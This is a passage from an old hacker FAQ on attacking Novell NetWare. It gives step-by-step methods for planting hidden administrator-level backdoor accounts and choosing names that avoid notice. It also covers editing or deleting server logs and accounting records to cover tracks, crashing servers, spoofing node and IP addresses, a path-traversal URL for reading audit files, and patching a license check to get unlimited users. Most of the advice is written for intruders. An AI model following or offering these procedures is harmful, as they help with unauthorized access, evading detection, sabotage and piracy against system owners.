  3722.   backdoor for yourself (see the ``Backdoor'' section).
  3723.  
  3724.  
  3725.   1199..22..  HHooww ccaann II llooggiinn wwiitthhoouutt rruunnnniinngg tthhee SSyysstteemm LLooggiinn SSccrriipptt iinn NNeett--
  3726.   wwaarree 33..xx??
  3727.  
  3728.   Often an admin will try and prevent a user from getting to DOS or
  3729.   breaking out of the System Login Script to "control" the user. Here's
  3730.   to way to prevent that -
  3731.  
  3732.  
  3733.   +o  Use ATTACH instead of LOGIN to connect to a server. ATTACH will not
  3734.      run the login script, whereas LOGIN will. ATTACH.EXE will either
  3735.      have to be copied to a local HD or put in SYS:LOGIN.
  3736.  
  3737.   +o  Use the /s option for LOGIN. Using "LOGIN /S NUL " will cause LOGIN
  3738.      to load the DOS device NUL which will always seem like an empty
  3739.      file.
  3740.  
  3741.  
  3742.   1199..33..  HHooww ccaann II ggeett IIPP iinnffoo ffrroomm aa NNeettwwaarree sseerrvveerr rreemmootteellyy??
  3743.  
  3744.   There is an undocumented API call that can be done, assuming you have
  3745.   the Netware SDK.  Search through support.novell.com for a document
  3746.   called "Retrieving IP Interface Information".  This info allows you to
  3747.   retrieve IP info on a Netware server. The document details exactly how
  3748.   to make the call.
  3749.  
  3750.  
  3751.   1199..44..  DDooeess 44..xx ssttoorree tthhee LLOOGGIINN ppaasssswwoorrdd ttoo aa tteemmppoorraarryy ffiillee??
  3752.  
  3753.   Yes and no. No to 4.02 or higher. Here's the scoop on 4.0.
  3754.  
  3755.   The version of LOGIN.EXE that shipped with 4.0 had a flaw that under
  3756.   the right conditions the account and password could be written to a
  3757.   swap file created by LOGIN.EXE. Once this occured, the file could be
  3758.   unerased and the account and password retrieved in plain text.
  3759.  
  3760.  
  3761.  
  3762.  
  3763.   1199..55..  EEvveerryyoonnee ccaann mmaakkee tthheemmsseellvveess eeqquuiivvaalleenntt ttoo aannyyoonnee iinncclluuddiinngg
  3764.   AAddmmiinn.. HHooww??
  3765.  
  3766.   A couple of things might cause this. One, I'd check the rights for
  3767.   [PUBLIC], and secondly I'd check the USER_TEMPLATE id for excessive
  3768.   rights. The Write right to the ACL will allow you to do some
  3769.   interesting things, including making yourself Admin equivalent. For
  3770.   gaining equivalence to most anything else you need only Read and
  3771.   Compare.
  3772.  
  3773.   The implication should be obvious, but I'll spell it out anyway. A
  3774.   backdoor can be made if an account is set up this way. Let's say
  3775.   you've created an account called TEST that has enough rights to do
  3776.   this kind of thing. Simply go in as the TEST account, make yourself
  3777.   Admin equivalent, do your thing, remove the Admin equivalent, and get
  3778.   the hell out. Neat and sweet.
  3779.  
  3780.  
  3781.   1199..66..  CCaann WWiinnddoowwss 9955 bbyyppaassss NNeettWWaarree uusseerr sseeccuurriittyy??
  3782.  
  3783.   I am unsure as to the conditions (if anyone knows, please forward me
  3784.   the info) but if your .PWL file is around 900 bytes versus 600 bytes,
  3785.   your workstation will log in without prompting you for a password.
  3786.   This bug was working as of December 1995, and I would think at this
  3787.   point patched via the latest service pack.
  3788.  
  3789.   Two ways this can be abused -- on some systems generating the longer
  3790.   file you can simply make sure you generate a .PWL file with the target
  3791.   account name and reboot using that .PWL file.
  3792.  
  3793.   The other way is to simply collect the .PWL file from an unattended
  3794.   workstation and boot using it.
  3795.  
  3796.  
  3797.   1199..77..  WWhhaatt iiss PPaacckkeett SSiiggnnaattuurree aanndd hhooww ddoo II ggeett aarroouunndd iitt??
  3798.  
  3799.   Packet signatures works by using an intermediate step during the
  3800.   encrypted password login call, to calculate a 64-bit signature. This
  3801.   block is never transmitted over the wire, but it is used as the basis
  3802.   for a cryptographically strong signature ("secure hash") on the most
  3803.   important part of each NCP packet exchange.
  3804.  
  3805.   A signed packet can indeed be taken as proof sufficient that the
  3806.   packet came from the claimed PC.
  3807.  
  3808.   NCP Packet Signature is Novell's answer to the work of the folks in
  3809.   the Netherlands in hacking Netware. The idea behind it is to prevent
  3810.   forged packets and unauthorized Supervisor access. It is an add-on
  3811.   option in 3.11, but a part of the system with 3.12 and 4.x. Here are
  3812.   the signature levels at the client and server:
  3813.  
  3814.   Packet Signature Option and meaning: 0 = Don't do packet signatures 1
  3815.   = Do packet signatures if required 2 = Do packet signatures if you can
  3816.   but don't if the other end doesn't support them 3 = Require packet
  3817.   signatures
  3818.  
  3819.   You can set the same settings at the workstation. The default for
  3820.   packet signatures is 1 at the server and client. If you wish to use a
  3821.   tool like HACK.EXE, try setting the signature level at 0 on the client
  3822.   by adding Signature Level=0 in the client's NET.CFG. If packet
  3823.   signatures are required at the server you won't even get logged in,
  3824.   but if you get logged in, hack away.
  3825.  
  3826.   If you wish to change the signature level at the server, use a set
  3827.   command at the server console:
  3828.  
  3829.   SET NCP PACKET SIGNATURE OPTION=2
  3830.  
  3831.   As noted, the packet signature scheme only signs the important parts
  3832.   of NCP packets. Some NCP packets, including "fragmented" NCP packets,
  3833.   are not signed, and in some cases packet signature fucntions
  3834.   differently depending on the settings on the client. Also on Netware
  3835.   4.x, a server attachs as an object in the connection list, and the
  3836.   packet signature on this does not work properly even if the server is
  3837.   set to Option 3. Details regarding these flaws can be found in a white
  3838.   paper by NMRC members Jitsu-Disk and Simple Nomad at
  3839.   http://www.nmrc.org/pandora/DOCS/NCP.TXT
  3840.   <http://www.nmrc.org/pandora/DOCS/NCP.TXT>, and exploit code was
  3841.   released with Pandora v3.0 available from
  3842.   http://www.nmrc.org/pandora/download.html
  3843.   <http://www.nmrc.org/pandora/download.html>.
  3844.  
  3845.  
  3846.  
  3847.   2200..  NNeettwwaarree DDeenniiaall ooff SSeerrvviiccee
  3848.  
  3849.   This section contains info regarding Netware Denial of Service.
  3850.  
  3851.  
  3852.   2200..11..  HHooww ccaann II aabbeenndd aa NNeettwwaarree sseerrvveerr??
  3853.  
  3854.   These are per itsme:
  3855.  
  3856.  
  3857.   +o  Netware 4.1 : type 512 chars on the console + NENTER = abend
  3858.  
  3859.   +o  Netware 3.11 : NCP request 0x17-subfn 0xeb with a connection number
  3860.      higher than the maximum allowed will crash the server (yes you will
  3861.      need the APIs)
  3862.  
  3863.   If you have console access, try this:
  3864.  
  3865.  
  3866.   +o  At the server console type UNLOAD RENDIRFIX
  3867.  
  3868.   +o  Use your local copy of SYS:PUBLIC/RENDIR.EXE
  3869.  
  3870.   +o  In SYS:LOGIN type RENDIR   (login not required, just attaching to
  3871.      the server)
  3872.  
  3873.   Another thing to try, with console access, is LOAD RARPSERV.NLM
  3874.   quickly followed by UNLOAD RARPSERV.NLM which will abend a Netware
  3875.   4.11 server (tested with Service Pack 4 loaded). If RESTART AFTER
  3876.   ABEND is set (which is the default) the server will reboot. Using
  3877.   UNICON to UNLOAD RARPSERV.NLM and it should unload cleanly.
  3878.  
  3879.   There are several flaws regarding NCP that can allow for interesting
  3880.   Denial of Service that will crash a server.  One utility, Havoc, was
  3881.   released with Pandora <http://www.nmrc.org/pandora/index.html>, and a
  3882.   couple more (Burn and Yang) are available at
  3883.   http://www.nmrc.org/files/netware/
  3884.   <http://www.nmrc.org/files/netware/>.
  3885.  
  3886.  
  3887.   2200..22..  WWiillll WWiinnddoowwss 9955 ccaauussee sseerrvveerr pprroobblleemmss ffoorr NNeettwwaarree??
  3888.  
  3889.   By default Windows 95 shipped with long file names (LFN) and Packet
  3890.   Burst enabled, which created a unique problem -- if the server didn't
  3891.   have long name space loaded (OS/2 name space) it caused problems with
  3892.   files and occassionally crashed the server. But the worse one was
  3893.   Packet Burst. Unless you had at least a 3.11 server with the
  3894.   PBURST.NLM up and running, along with drivers for the server's network
  3895.   capable of handling Packet Burst, the buffer space used for network
  3896.   connections and/or the buffer space on the network card created
  3897.   problems ranging from lockups to timeouts to abends.
  3898.  
  3899.   There were a couple of different fixes you could do, like updating the
  3900.   server for long name space and Packet Burst (sorry Netware 2.x users),
  3901.   or you could update the clients' SYSTEM.INI file with the following
  3902.   entries:
  3903.  
  3904.   [nwredir] SupportBurst=0 SupportLFN=0
  3905.  
  3906.   Alternately, a frame type (802.3) that doesn't support Packet Burst
  3907.   could be used, and you could enforce no LFNs via system policies.
  3908.  
  3909.  
  3910.   2200..33..  WWiillll WWiinnddoowwss 9955 ccaauussee nneettwwoorrkk pprroobblleemmss ffoorr NNeettwwaarree??
  3911.  
  3912.   If File & Print Sharing for Netware is configured and you have non-
  3913.   Windows 95 users, there could be serious network problems. How does
  3914.   this happen? Here is a very simplified explanation -
  3915.  
  3916.   The way Netware advertises its file and print services is via
  3917.   Netware's proprietary (but widely documented) Service Advertising
  3918.   Protocol (SAP). How to get to these resources is communicated via
  3919.   Routing Information Protocol (RIP) packets. Both SAP and RIP info are
  3920.   transmitted broadcast style.  Netware servers and even intelligent
  3921.   networking equipment that conform to the SAP and RIP protocol scheme
  3922.   (like routers) share this info dynamically between each other.
  3923.  
  3924.   The problem is when Windows 95 is set up with File & Print Sharing for
  3925.   Netware, because the Windows 95 workstation does a lousy job of
  3926.   implementing and interacting with the SAP and RIP info. As any LAN/WAN
  3927.   specialist will tell you, extra SAPs can quickly waste bandwidth,
  3928.   causing timeouts and broadcast storms. And that is exactly what
  3929.   Windows 95 does. Netware 3.x and 4.x have released patches, but the
  3930.   easiest thing to do is simply NOT use File & Print Sharing under
  3931.   Windows 95 -- use Netware's file and print services like they're
  3932.   supposed to be used, or use Client/FPS for Microsoft networks instead.
  3933.  
  3934.   Can hackers take advantage of this? Here's the theory how:
  3935.  
  3936.  
  3937.   +o  Turn on File & Print Sharing for Netware in Windows 95.
  3938.  
  3939.   +o  On an SLIST the Windows 95 workstation will show up.
  3940.  
  3941.   +o  In a Netware 3.x and 4.x environment, there is an internal network
  3942.      number and an external number. Windows 95 will only show an
  3943.      external number, and since these numbers help determine how many
  3944.      hops away the service is, not having an internal one means
  3945.      (depending on your network layout) your Windows 95 workstation is
  3946.      one hop closer.
  3947.  
  3948.   +o  When a regular user boots up, the user needs to get to the nearest
  3949.      server to find his prefered server's location from the nearest
  3950.      server's SAP and RIP tables. Routers typically will simply pass on
  3951.      the name and address of the closest server attached to it. This
  3952.      with the hop counts will lead to a lot of attachments to the
  3953.      Winodws 95 server. Therfore even a PREFERED SERVER variable in the
  3954.      NET.CFG would not help.
  3955.  
  3956.   +o  To keep clients from timing out with an error, Microsoft passes the
  3957.      user onto the prefered server IF the Windows 95 server is set up
  3958.      with the same name.
  3959.  
  3960.  
  3961.   +o  In theory could create a \LOGIN directory and run your own
  3962.      LOGIN.EXE that grabbed the password and then send the client onto
  3963.      it's real server.
  3964.  
  3965.   What could prevent this? Well, in a WAN environment a router could be
  3966.   configured to only allow SAPs to come from certain segments, or every
  3967.   one of the workstations are running Windows 95 (which is probably
  3968.   Microsoft's solution). And even though I have heard from a dozen
  3969.   people stating that this could be done, no one has said they've done
  3970.   it (the alternate LOGIN directory and trojan LOGIN.EXE).
  3971.  
  3972.  
  3973.  
  3974.  
  3975.   2211..  NNeettwwaarree LLooggggiinngg aanndd BBaacckkddoooorrss
  3976.  
  3977.   This section contains info regarding logging and backdoors for
  3978.   Netware.
  3979.  
  3980.  
  3981.   2211..11..  HHooww ddoo II lleeaavvee aa bbaacckkddoooorr ffoorr NNeettwwaarree??
  3982.  
  3983.   Once you are in, you want to leave a way back with supe equivalency.
  3984.   You can use SUPER.EXE, written for the express purpose of allowing the
  3985.   non-supe user to toggle on and off supe equivalency. If you use the
  3986.   cheesy way in (previous question), you turn on the toggle before the
  3987.   admin removes your supe equivalency. If you gain access to a supe
  3988.   equivalent account, give Guest supe equivalency and then login as
  3989.   Guest and toggle it on.  Now get back in as the original supe account
  3990.   and remove the supe equivalency. Now Guest can toggle on supe
  3991.   equivalency whenever it's convenient.
  3992.  
  3993.   Of course Guest doesn't have to be used, it could be another account,
  3994.   like an account used for e-mail administration or an e-mail router, a
  3995.   gateway's account, you get the idea.
  3996.  
  3997.   Now SUPER.EXE is not completely clean. Running the Security utility or
  3998.   Bindfix will give away that an account has been altered at the bindery
  3999.   level, but the only way for an admin to clear the error is to delete
  4000.   and rebuild the account.
  4001.  
  4002.  
  4003.   2211..22..  WWhhaatt iiss tthhee rruummoorreedd ""bbaacckkddoooorr"" iinn NNDDSS??
  4004.  
  4005.   The rumored backdoor in NDS exists - to an extent. The rumor is that
  4006.   there is a way to set up a backdoor into a system in NDS that is
  4007.   completely hidden from everyone and everything. There IS a way to get
  4008.   real close to this, although how "hidden" it is remains to be seen.
  4009.   One catch - you need full access to NDS i.e. Admin access to set it
  4010.   up. But if you can get Admin's password or access to a user with Admin
  4011.   or equivalent access then you can put in a backdoor that may go
  4012.   unnoticed for months, or perhaps never be discovered. Here's how to
  4013.   set it up:
  4014.  
  4015.  
  4016.   +o  Get logged in as Admin or equivalent.
  4017.  
  4018.   +o  In NWADMIN highlight an existing container.
  4019.  
  4020.   +o  Create a new container inside this container.
  4021.  
  4022.   +o  Create a user inside this new container. No home directory.
  4023.  
  4024.   +o  Give this user full Trustee Rights to their own user object.
  4025.  
  4026.  
  4027.   +o  Give this user full Trustee Rights to the new container.
  4028.  
  4029.   +o  Make this user security equivalent to Admin.
  4030.  
  4031.   +o  Modify the ACL for the new user so they can't be seen.
  4032.  
  4033.   +o  Adjust the Inherit Rights Filter on the new container so no one can
  4034.      see it.
  4035.  
  4036.   Now this technique can be used by the paranoid admin that wants to
  4037.   give another user full access to a container, and this user wants to
  4038.   restrict access to this container. To prevent this user from
  4039.   forgetting their password (and making a section of the tree
  4040.   unmanageable or worse, disappear) an admin will use similiar
  4041.   techniques.
  4042.  
  4043.   I have not been able to fully test this but it looks completely
  4044.   invisible to the average LAN admin. This does require an above average
  4045.   knowledge of NDS to set up, so most administrators will not even know
  4046.   how to look for this user.
  4047.  
  4048.   Let's say you installed your backdoor at the XYZ Company, put your
  4049.   container inside the MIS container and called it BADBOY. Your backdoor
  4050.   is named BACKDOOR. Login like this:
  4051.  
  4052.  
  4053.         LOGIN .BACKDOOR.BADBOY.MIS.XYZ
  4054.  
  4055.  
  4056.  
  4057.   Now you will show up in the normal tools that show active connections
  4058.   on a server, so naming your backdoor "BACKDOOR" is probably not a
  4059.   great idea. Think of a name that might look like an automated
  4060.   attachment, and only use it when you think you won't be noticed.
  4061.  
  4062.   If the site has Kane Security Analyst, they can find the backdoor.
  4063.  
  4064.   It has come to our attention that there is now a tool from Novell
  4065.   Consutling's called "HOBJLOC"(hidden object locator) which may reveal
  4066.   the hidden object discussed above.
  4067.  
  4068.  
  4069.   2211..33..  WWhhaatt iiss tthhee bbiinnddeerryy bbaacckkddoooorr iinn NNeettwwaarree 44..xx??
  4070.  
  4071.   In developing Pandora, I discovered that the first user object in an
  4072.   NDS tree is a bindery object called Supervisor. This object gets its
  4073.   password set during install. To login, simply use the account name
  4074.   Supervisor. Early versions of DS.NLM do NOT assign a property to this
  4075.   object to even ALLOW you to set up Intruder Detection! Using the
  4076.   Intruder utility with Pandora v3.0, you can specifically attack this
  4077.   user account. Once logged in most administrative tools will not see
  4078.   it. An administrator cannot delete this account because an
  4079.   administrator cannot get to this account to delete it from NetAdmin or
  4080.   NwAdmin.
  4081.  
  4082.   Bindery context is not required to use this object.
  4083.  
  4084.   If an administrator creates a regular NDS account called Supervisor,
  4085.   this will defeat access to this object.
  4086.  
  4087.   For more information on this, check out
  4088.   http://www.nmrc.org/pandora/inside.html
  4089.   <http://www.nmrc.org/pandora/inside.html>.
  4090.  
  4091.  
  4092.  
  4093.   2211..44..  WWhheerree aarree tthhee ccoommmmoonn lloogg ffiilleess iinn NNeettwwaarree??
  4094.  
  4095.   There are several. Here is a list with their location and their
  4096.   purposes:
  4097.  
  4098.  
  4099.   +o  File Server Error Log - This log file is located at
  4100.      SYS:SYSTEM\SYS$ERR.LOG and is typically written to by the operating
  4101.      system. It is an ascii text file, and can be written to by anyone
  4102.      with read/write access to SYS:SYSTEM. It typically contains info
  4103.      like bindery open and closes, certain NLMs writing info messages,
  4104.      and of interest to hackers: intruder lockouts, remote console
  4105.      access attempts (failed or successful), and other security-related
  4106.      console alerts. Hackers should edit this file if they have hacked
  4107.      an account with access to SYS:SYSTEM.
  4108.  
  4109.   +o  Volume Error Log - This is a plain text file located on the root of
  4110.      every volume and is named VOL$LOG.ERR. Hackers should not pay
  4111.      attention to it unless you are mounting and unmounting volumes and
  4112.      don't want a record of it. Typically volume errors are written
  4113.      here.
  4114.  
  4115.   +o  Transaction Tracking Error Log - Transaction Tracking is a method
  4116.      of backing out data that was being written to the volume and the
  4117.      server suddenly stopped writing this data (like a crash of the
  4118.      server). It is plain text, found on the root of any Transaction
  4119.      Tracking defined volume, and is named TTS$LOG.ERR. Usually only the
  4120.      SYS volume (and possibly a volume with a SQL database on it, Sybase
  4121.      comes to mind) is set up for Transaction Tracking. If you're
  4122.      bouncing the server and wish to cover your tracks, this along with
  4123.      the other logs needs to be looked at.
  4124.  
  4125.   +o  Console Monitor Log - If a server is running the CONLOG.NLM,
  4126.      everything that rolls by on the main system console gets written to
  4127.      a log file. If you think your activities might write info to the
  4128.      console (especially if you've RCONSOLE'd in and are typing in
  4129.      commands). You may wish to edit this file. CONLOG.NLM will have to
  4130.      be unloaded first, as it has an exclusive lock on the log file,
  4131.      located at SYS:SYSTEM\CONSOLE.LOG.
  4132.  
  4133.   +o  Accounting - If accounting has been turned on on a Netware 3.x
  4134.      server, all logins and logouts will be time stamped into the
  4135.      SYS:SYSTEM\NET$ACCT.DAT file. For details on accounting, see the
  4136.      next couple of questions.
  4137.  
  4138.   +o  Auditing - Auditing in Netware 4.x and greater writes its data to
  4139.      files located in _NETWARE\*.CAF files. Normally found under SYS:,
  4140.      the _NETWARE directory is a hidden directory, but it also exists on
  4141.      other volumes.
  4142.  
  4143.  
  4144.   2211..55..  WWhhaatt iiss AAccccoouunnttiinngg??
  4145.  
  4146.   Accounting is Novell's pain in the butt way to control and manage
  4147.   access to the server in a way that is "accountable". The admin set up
  4148.   charge rates for blocks read and written, service requests, connect
  4149.   time, and disk storage. The account "pays" for the service by being
  4150.   given some number, and the accounting server deduces for these items.
  4151.   How the account actually pays for these items (departmental billing,
  4152.   cash, whatever) you may or may not want to know about, but the fact
  4153.   that it could be installed could leave a footprint that you've been
  4154.   there.
  4155.  
  4156.   Any valid account, including non-supe accounts, can check to see if
  4157.   Accounting is turned on. Simply run SYSCON and try to access
  4158.   Accounting, if you get a message that Accounting is not installed,
  4159.   then guess what?
  4160.  
  4161.   Since it is a pain to administer, many sys admins will turn it on
  4162.   simply to time-stamp each login and logout, track intruders, and
  4163.   include the node address and account name of each of these items.
  4164.  
  4165.  
  4166.   2211..66..  HHooww ddoo II ddeeffeeaatt AAccccoouunnttiinngg??
  4167.  
  4168.   Turn it off. And spoof your node address. Here's the steps -
  4169.  
  4170.  
  4171.   +o  Spoof your address. Use a supe account's typical node address as
  4172.      your own.
  4173.  
  4174.   +o  If you are using a backdoor, activate it with SUPER.EXE.
  4175.  
  4176.   +o  Delete Accounting by running SYSCON, selecting Accounting,
  4177.      Accounting Servers, hitting the delete key, and answering yes when
  4178.      asked if you wish to delete accounting. The last entry in the
  4179.      NET$ACCT.DAT file will be your login time-stamped with the spoofed
  4180.      node address.
  4181.  
  4182.   +o  Now do what you will in the system. Use a different account if you
  4183.      like, it won't show up in the log file.
  4184.  
  4185.   +o  When done, login with the original account, run SYSCON and re-
  4186.      install Accounting. Immediately logout, and the next line in the
  4187.      NET$ACCT.DAT file will be your logout, showing a login and logout
  4188.      with the same account name, nice and neat.
  4189.  
  4190.   If you can't spoof the address (some LAN cards don't allow it or
  4191.   require extra drivers you may not have), just turn off Accounting and
  4192.   leave it off or delete the NET$ACCT.DAT file located in the SYS:SYSTEM
  4193.   directory.
  4194.  
  4195.   It should be noted that to turn off and on Accounting you need supe
  4196.   equivalent, but you don't need supe equivalence to spoof the address.
  4197.  
  4198.  
  4199.   2211..77..  WWhhaatt iiss IInnttrruuddeerr DDeetteeccttiioonn??
  4200.  
  4201.   Intruder Detection is Novell's way of tracking invalid password
  4202.   attempts. While this feature is turned off by default, most sites
  4203.   practicing any type of security will at minimum turn this feature on.
  4204.   There are several parameters to Intruder Detection. First, there is a
  4205.   setting for how long the server will remember a bad password attempt.
  4206.   Typically this is set to 30 minutes, but can be as short as 10 minutes
  4207.   of as long as 7 days. Then there is a setting for how many attempts
  4208.   will lockout the account. This is usually 3 attempts, but can be as
  4209.   short as 1 or as many as 7. Finally is the length the account is
  4210.   locked out. The default is 30 minutes but it can range from 10 minutes
  4211.   to 7 days.
  4212.  
  4213.   When an Intruder Detection occurs, the server beeps and a time-stamped
  4214.   message is displayed on the System Console with the account name that
  4215.   is now locked out and the node address from where to attempt came
  4216.   from. This is also written to the File Server Error Log. A Supervisor
  4217.   or equivalent can unlock the account before it frees itself up, and
  4218.   the File Server Error Log can also be erased by a Supervisor or
  4219.   equivalent.
  4220.  
  4221.   In a large shop, it is not unusual to see Intruder Lockouts even on a
  4222.   daily basis, and forgetting a password is a typical regular-user thing
  4223.   to do. Intruder Lockouts on Supervisor or equivalent account is
  4224.   usually noticed.
  4225.   2211..88..  HHooww ddoo II cchheecckk ffoorr IInnttrruuddeerr DDeetteeccttiioonn??
  4226.  
  4227.   The easiest way to check for Intruder Detection is to play with a
  4228.   valid account that you know the password of. Try the wrong password
  4229.   several times. If Intruder Detection is on, the account will be locked
  4230.   out once you try to get back in with the correct password.
  4231.  
  4232.  
  4233.   2211..99..  WWhhaatt aarree ssttaattiioonn//ttiimmee rreessttrriiccttiioonnss??
  4234.  
  4235.   Time restrictions can be placed on an account to limit the times in
  4236.   which an account can be logged in. In the account is already logged in
  4237.   and the time changes to a restricted time, the account is logged out.
  4238.   The restriction can be per weekday down to the half hour. That means
  4239.   that if an admin wants to restrict an account from logging in except
  4240.   on Monday through Friday from 8-5, it can be done. Only Supervisor and
  4241.   equivalents can alter time restrictions. Altering the time at the
  4242.   workstation will not get you around time restrictions, only altering
  4243.   time at the server can change the ability to access.
  4244.  
  4245.   Station restriction place a restriction on where an account can be
  4246.   used. Restrictions can be to a specific token ring or ethernet
  4247.   segment, and can be specific down to the MAC layer address, or node
  4248.   address. The only way around a station restriction at the node address
  4249.   is to spoof the address from a workstation on the same segment or ring
  4250.   as the address you are spoofing. Like time restrictions, only
  4251.   Supervisor and equivalents can alter station restrictions.
  4252.  
  4253.   Of course you can remove station and time restrictions in SYSCON if
  4254.   you are a Supe equivalent.
  4255.  
  4256.  
  4257.   2211..1100..  HHooww ccaann II tteellll iiff ssoommeetthhiinngg iiss bbeeiinngg AAuuddiitteedd iinn NNeettwwaarree 44..xx??
  4258.  
  4259.   Use RCONSOLE and do a directory scan of SYS:_NETWARE. There will be
  4260.   some binary files named NET$AUDT.* if Auditing has been used. Old
  4261.   Audit files will be named NET$AUDT.AO0, .AO1, etc. A current Auditing
  4262.   file will be named NET$AUDT.CAF. If these files do not exist, no
  4263.   Auditing is being or has been done. To check to see if Auditing is
  4264.   currently active, try to open the current Auditing file like this:
  4265.  
  4266.  
  4267.         LOAD EDIT SYS:_NETWARE\NET$AUDT.CAF
  4268.  
  4269.  
  4270.  
  4271.   If it pulls up something (with a little garbage) then Auditing is
  4272.   currently turned off. If you get an error stating that NET$AUDT.CAF
  4273.   doesn't exist and do you wish to create it, that means the file is
  4274.   being hend open and Auditing is currently active on SOMETHING
  4275.   (remember, the EDIT.NLM normally handles open files pretty well, but
  4276.   trying to open a file already open in SYS:_NETWARE always gets this
  4277.   error).
  4278.  
  4279.   Also, if the site is running Novell's Web Server software, use a web
  4280.   browser and try
  4281.   http://www.target.com/scripts/convert.bas?../../_netware/net$audt.caf
  4282.   and if you DO NOT receive an error, Auditing is or was active.
  4283.  
  4284.  
  4285.   2211..1111..  HHooww ccaann II rreemmoovvee AAuuddiittiinngg iiff II lloosstt tthhee AAuuddiitt ppaasssswwoorrdd??
  4286.  
  4287.   If the Auditor forgets the password, try a simple wipe and reload.
  4288.   Hello, hello, you seemed to have fainted...
  4289.  
  4290.  
  4291.   You can try this although there is no guarantee it will work, it is
  4292.   just a theory. You see, the Auditing files are located in
  4293.   SYS:_NETWARE. As long as they are there and Auditing active, even
  4294.   deleting NDS and recreating it will not turn off Auditing. If you wish
  4295.   you can delete and rebuild SYS: which will get it. Try these listed
  4296.   items if you are desperate. I have tried them in the NMRC lab and got
  4297.   this to work a couple of times -- but once I trashed the server and
  4298.   NDS. One time it didn't work at all. But here it is:
  4299.  
  4300.  
  4301.         - Use RCONSOLE's directory scan and get the exact names of the Audit
  4302.           files, you know NET$AUDT.CAF but also files with an extension of .$AF
  4303.           are Auditing files, too.
  4304.         - Use the techniques in 06-2 and determine exactly which files are
  4305.           being held open by this particular server for Auditing.
  4306.         - Try booting up the server and running a sector editor.
  4307.         - Search the drive for the file names you found.
  4308.         - Change all occurrences of these names, save changes, and boot up.
  4309.         - If that didn't do the trick, try booting up the server using a 3.x
  4310.           SERVER.EXE and try and get to SYS:_NETWARE that way. Then delete the
  4311.           Auditing files.
  4312.         - If THAT doesn't work, use repeated calls to the SYS:_NETWARE's
  4313.           directory table (using the APIs) and either delete or change the
  4314.           afore mentioned files.
  4315.  
  4316.  
  4317.  
  4318.   Gee, maybe a "simple wipe and reload" is easier...
  4319.  
  4320.  
  4321.   2211..1122..  WWhhaatt iiss iinntteerreessttiinngg aabboouutt NNeettwwaarree 44..xx''ss lliicceennssiinngg??
  4322.  
  4323.   It is possible to load multiple licenses and combine their total
  4324.   number of users. For example, if you are in one of those Novell CNE
  4325.   classes where they give you a 2 user 4.1 license, you can get
  4326.   everyone's CD in class and combine them on one server. If you get 10
  4327.   CDs you have a 20 user license. I know of no limit to the maximum
  4328.   number of licenses and user limit, except for hardware limitations
  4329.   supporting it. This means you could load more than one copy of 1000
  4330.   user Netware 4.1 on a server (assuming you have unique copies, not the
  4331.   same copy twice).
  4332.  
  4333.   itsme has done some poking around with his tools, and has the
  4334.   following to say regarding the SERVER.EXE that comes with Netware 4:
  4335.  
  4336.  
  4337.    what's inside server.exe:
  4338.    0001d7c7  server.nlm          type=07
  4339.    000d319d  "Link" 000d504a
  4340.    000d31a5  unicode.nlm         type=00  (ordinary NLM)
  4341.    000d504a  "Link" 000d6e9c
  4342.    000d5052  dsloader.nlm        type=00  (ordinary NLM)
  4343.    000d6e9c  "Link" 000db808
  4344.    000d6ea4  timesync.nlm        type=00  (ordinary NLM)
  4345.    000db808  polimgr.nlm         type=0c  ('hidden' NLM)
  4346.      by editing the binary of server, and changing the type of polimgr.nlm
  4347.      from 0c to 00  (offset 007a or 000db882 in server.exe)
  4348.      it becomes unhidden.
  4349.      hidden NLM's are protected from debugging with the netware debugger.
  4350.  
  4351.      polimgr.nlm  manages the license files, after it reads the file,
  4352.      it checks with some kind of signature function whether it is a valid file
  4353.      the function doing the checking can be made to always return OK, then
  4354.      you can create an any number of users license.
  4355.  
  4356.  
  4357.   2211..1133..  WWhhaatt iiss tthhee WWoorrdd PPeerrffeecctt 55..11 ttrriicckk wwhheenn rruunnnniinngg NNeettwwaarree 33..xx
  4358.   oovveerr DDOOSS??
  4359.  
  4360.   It has been noted that when running Netware 3.x, specifically 3.12,
  4361.   over DOS, no windows at all, and you start Word Perfect version 5.1,
  4362.   enter a last name, then hit F5, you get access to the entire disk.
  4363.   NMRC is investigating and will keep you posted as to our results.
  4364.  
  4365.  
  4366.  
  4367.  
  4368.  
  4369.   2222..  NNeettwwaarree MMiisscc.. AAttttaacckk IInnffoo
  4370.  
  4371.   This section has miscellaneous information regarding hacking and
  4372.   Netware.
  4373.  
  4374.  
  4375.   2222..11..  HHooww ddoo II ssppooooff mmyy nnooddee oorr IIPP aaddddrreessss??
  4376.  
  4377.   This will depend greatly on what kind of network interface card (NIC)
  4378.   the workstation has, as to whether you can perform this function.
  4379.   Typically you can do it in the Link Driver section of the NET.CFG file
  4380.   by adding the following line - NODE ADDRESS xxxxxxxxxxxx where
  4381.   xxxxxxxxxxxx is the 12 digit MAC layer address. This assumes you are
  4382.   using Netware's ODI drivers, if you are using NDIS drivers you will
  4383.   have to add the line to a PROTOCOL.INI or IBMENII.NIF file, which
  4384.   usually has the lines already in it.
  4385.  
  4386.   Getting the target node address should be pretty easy. Login with any
  4387.   account and do a USERLIST /A. This will list all accounts currently
  4388.   logged in with their network and node address. If your workstation is
  4389.   on the same network as the target, you can spoof the address no
  4390.   problem. Actually you can spoof the address regardless but to defeat
  4391.   station restrictions you must be on the same network.
  4392.  
  4393.   For an IP address, you may have to run a TCPIP config program to make
  4394.   it work (it depends on whose IP stack you are running). Some
  4395.   implementations will have the mask, the default router and the IP
  4396.   address in the NET.CFG, some in the TCPIP.CFG. It is a good idea to
  4397.   look around in all network- related subdirectories to see if there are
  4398.   any .CFG, .INI, or .NIF files that may contain addresses.
  4399.  
  4400.   Forging the IP address is quite tricky, and many people have written
  4401.   to me asking for specific tips. Since there are a number of different
  4402.   IP implementations this is rather impractical. However here are a few
  4403.   important items to remember:
  4404.  
  4405.  
  4406.   +o  Most utilities that configure the IP address DO use an INI, CFG or
  4407.      NIF file of some type. Look for those files.
  4408.  
  4409.   +o  As workstation software becomes more complex, I have found that
  4410.      often the IP address is written in more than one place. You must
  4411.      get it in all of places it has been written. For example if you are
  4412.      running multiple protocols on one card, you may have to update
  4413.      several different config files including NET.CFG.
  4414.  
  4415.   +o  If the IP address you are trying to spoof is up and active, it is
  4416.      possible that you won't get anything to work at all, or it will be
  4417.      difficult. In large companies there is usually some monitoring to
  4418.      detect duplicate IP addresses. Netview is one example of a product
  4419.      that can be configured to look for this.
  4420.  
  4421.   +o  A company may have a class 2 address, and may have dozens of class
  4422.      3 subnets. If your subnet is 100.100.100.x and your default router
  4423.      is 100.100.100.254, trying to spoof 100.100.200.10 probably will
  4424.      not work very well.
  4425.  
  4426.  
